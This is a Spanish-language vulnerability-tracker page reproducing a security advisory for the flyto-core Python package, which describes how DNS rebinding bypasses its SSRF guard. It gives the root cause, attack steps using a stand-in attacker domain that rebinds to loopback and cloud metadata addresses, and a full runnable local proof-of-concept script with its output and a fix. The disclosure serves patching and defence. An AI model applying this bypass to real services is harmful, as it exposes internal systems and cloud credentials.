llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-6PM8-6F34-9V3G

Flyto2 Core: omisión de la protección SSRF mediante DNS rebinding (validate_url_ssrf resuelve y luego conecta sin fijar la IP)

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -132 d de la divulgación
Exposición7 hDesde la divulgación, 19 nov 2026, 7:11 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.26.8
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
11 jul 26
18 nov 26
20 nov 26
11 jul 26
13 ago 26
15 sept 26
18 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.26.8 flyto-core · -132 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-6PM8-6F34-9V3G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

[MEDIA] Omisión de la protección SSRF mediante DNS rebinding — validate_url_ssrf resuelve y luego conecta sin fijar la IP

  • CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU).
  • CVSS v3.1: `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = 6.8 Media (AC:H — requiere DNS controlado por el atacante con un TTL bajo o nulo y cambiar la respuesta entre la consulta de la guardia y la consulta de la conexión; S:C — alcanza servicios internos o de metadatos que la guardia debía bloquear; C:H — p. ej., credenciales de metadatos de nube en 169.254.169.254).
  • Componente afectado: `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolución con `getaddrinfo` ~L512, comprobación `is_private_ip` ~L515) y todos los consumidores: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()`, es decir, `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.
  • Relación: Endurecimiento incompleto de la familia de protecciones SSRF (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Estas correcciones añadieron cobertura por módulo, revalidación de redirecciones y verificación de rangos de transición de IPv6, pero ninguna fija la dirección resuelta, por lo que la brecha de resolver y luego conectar anula todas ellas.

## Causa raíz
`validate_url_ssrf()` resuelve el nombre de host con `socket.getaddrinfo()` y rechaza la URL si alguna IP resuelta es privada. Después devuelve la cadena de URL (con el nombre de host intacto). El llamador (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` seguido de `session.request(method, url, ...)`) entrega el nombre de host a aiohttp, que realiza una segunda resolución DNS independiente en el momento de conectar. La IP validada nunca se fija para la conexión, así que un atacante cuyo DNS autoritativo devuelve un registro A público para la consulta de la guardia, y una dirección privada, de loopback o de metadatos para la consulta de la conexión, alcanza el espacio interno. aiohttp resuelve con su propio resolver, distinto de `socket.getaddrinfo` de la guardia, por lo que las dos consultas son realmente separadas; basta con un solo cambio.

## Alcanzabilidad
1. El atacante controla el DNS de `rebind.attacker.test` (TTL 0) y dirige cualquier módulo HTTP protegido con `url=http://rebind.attacker.test/` (receta o `execute_module` de MCP).
2. Guardia: `getaddrinfo` → IP pública → `is_private_ip` falso → URL permitida.
3. Solicitud saliente: aiohttp vuelve a resolver `rebind.attacker.test` → el atacante ahora responde `127.0.0.1` / `169.254.169.254` → se conecta al destino interno. La revalidación de redirecciones (GHSA-c9hr) no ayuda: el primer salto ya produce el rebinding.

## PoC ejecutable (benigno, local, determinista)
El cambio de TTL=0 del atacante se modela haciendo que `socket.getaddrinfo` devuelva una IP pública en la consulta n.º 1 (la de la guardia) y loopback en las consultas posteriores (las de la conexión); un centinela TCP local en bruto sustituye al servicio interno. No se envía ninguna carga útil.

# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS;  connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/")     # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080))   # lands on 127.0.0.1 sentinel

Salida observada:

[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/  (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)

## Relectura adversarial
- ¿El monkeypatch de getaddrinfo es trampa? No. Modela de forma determinista un DNS autoritativo con TTL=0 del atacante que devuelve respuestas distintas a dos consultas separadas. La brecha de código es real e inevitable: `validate_url_with_env_config(url)` resuelve una vez y luego `session.request(url)` vuelve a resolver sin fijación.
- ¿La caché DNS de aiohttp lo impide? No. `socket.getaddrinfo` de la guardia y el resolver de aiohttp son independientes; aiohttp almacena en caché su PROPIA consulta (maliciosa), no la de la guardia.
- ¿La revalidación de redirecciones (GHSA-c9hr) lo bloquea? No. El primer salto produce el rebinding antes de cualquier redirección.
- ¿Múltiples registros A? La guardia recorre todos los resultados de `getaddrinfo` y rechaza si alguno es privado, así que un conjunto estático de registros no la evade; solo lo hace un cambio en el momento de uso.
- Resultado: no hay un bloqueo concreto. CONFIRMADO (Media; AC:H porque requiere DNS del atacante y un cambio).

## Remediación
Fijar la dirección validada: resolver una vez, validar cada IP devuelta y luego conectar a la IP fijada (no al nombre de host). Por ejemplo, pasar la dirección resuelta a aiohttp mediante un `resolver` o `TCPConnector` personalizado (o establecer la cabecera `Host` y conectar por IP), de modo que la decisión de la guardia y el destino del socket sean la misma dirección. Aplicarlo en cada salto de `guarded_aiohttp_request`. Alternativamente, usar un envoltorio de resolver que valide dentro de la ruta de conexión.

## Confianza
Alta en que la brecha de resolver y luego conectar existe y en que la guardia se puede evadir mediante rebinding (el PoC se dispara contra la guardia real). Severidad Media por la precondición de rebinding AC:H.

Código fuente de la prueba de concepto (`poc_dns_rebinding.py`)

"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError

# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
    try:
        srv.bind(("127.0.0.1", _p)); break
    except OSError:
        continue
else:
    raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
    try:
        c,_ = srv.accept(); hit["internal"] = True; c.close()
    except OSError:
        pass
threading.Thread(target=accept_once, daemon=True).start()

HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW

# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
    if host == HOST:
        calls["n"] += 1
        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
    return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo

# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
    validate_url_ssrf(f"http://{HOST}:{PORT}/")
    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/  (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)

# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
    s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
    print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
      if hit["internal"] else "NOT CONFIRMED")
srv.close()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
flyto-core< 2.26.8
2.26.8
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.8 -132 d 2.41.0 no afectada
Versiones corregidas2.26.8
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/flytohub/flyto-core/security/advisories/GHSA-6pm8-6f34-9v3g
Otrahttps://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a
Otrahttps://github.com/flytohub/flyto-core
Otrahttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.